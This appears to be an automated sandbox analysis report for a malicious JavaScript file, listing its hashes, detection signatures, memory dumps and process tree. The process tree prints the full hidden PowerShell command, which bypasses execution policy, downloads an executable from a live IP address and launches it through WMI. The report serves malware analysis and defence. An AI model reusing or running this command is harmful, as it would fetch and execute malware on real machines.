Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 23:13

General

  • Target

    68f65871f36e2d1053fdc94c325c666e_JaffaCakes118.js

  • Size

    31KB

  • MD5

    68f65871f36e2d1053fdc94c325c666e

  • SHA1

    b8e4fcdd25cac949cfb8e5af10c20f0d9a819bc2

  • SHA256

    8adf64000dda34334dd18581022e68206b9b4f2871700f9e8b0176f9dfc2cecb

  • SHA512

    df9b28fbe881970bd5746360c4e77ec85f317899891aacc5adda6126beee91fe0117d1d9d21a0621393f361843f755f8199737566dee5b2ea22d3e9b160b63d2

  • SSDEEP

    768:+e2mLWvpMQH8b/KN13u/HPPBD2IWNpHOjyefFYRtiQE0rFwT3uBLeXEJ:+e2TBMQH8omqBF

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.198.57.172/faazdfdsxm.exe?XVMtv

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\68f65871f36e2d1053fdc94c325c666e_JaffaCakes118.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://185.198.57.172/faazdfdsxm.exe?XVMtv','%tEmp%xiL95.ExE'); Invoke-WmiMetHoD -CLass WIN32_ProcESS -NaME CReatE -ArguMeNtLISt '%TeMP%xiL95.EXE'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://185.198.57.172/faazdfdsxm.exe?XVMtv','C:\Users\Admin\AppData\Local\TempxiL95.ExE'); Invoke-WmiMetHoD -CLass WIN32_ProcESS -NaME CReatE -ArguMeNtLISt 'C:\Users\Admin\AppData\Local\TempxiL95.EXE'
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2968

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2968-5-0x000007FEF5D1E000-0x000007FEF5D1F000-memory.dmp

    Filesize

    4KB

  • memory/2968-6-0x000000001B610000-0x000000001B8F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2968-7-0x0000000002910000-0x0000000002918000-memory.dmp

    Filesize

    32KB

  • memory/2968-8-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2968-9-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2968-10-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2968-11-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2968-12-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2968-13-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

    Filesize

    9.6MB

  • memory/2968-14-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

    Filesize

    9.6MB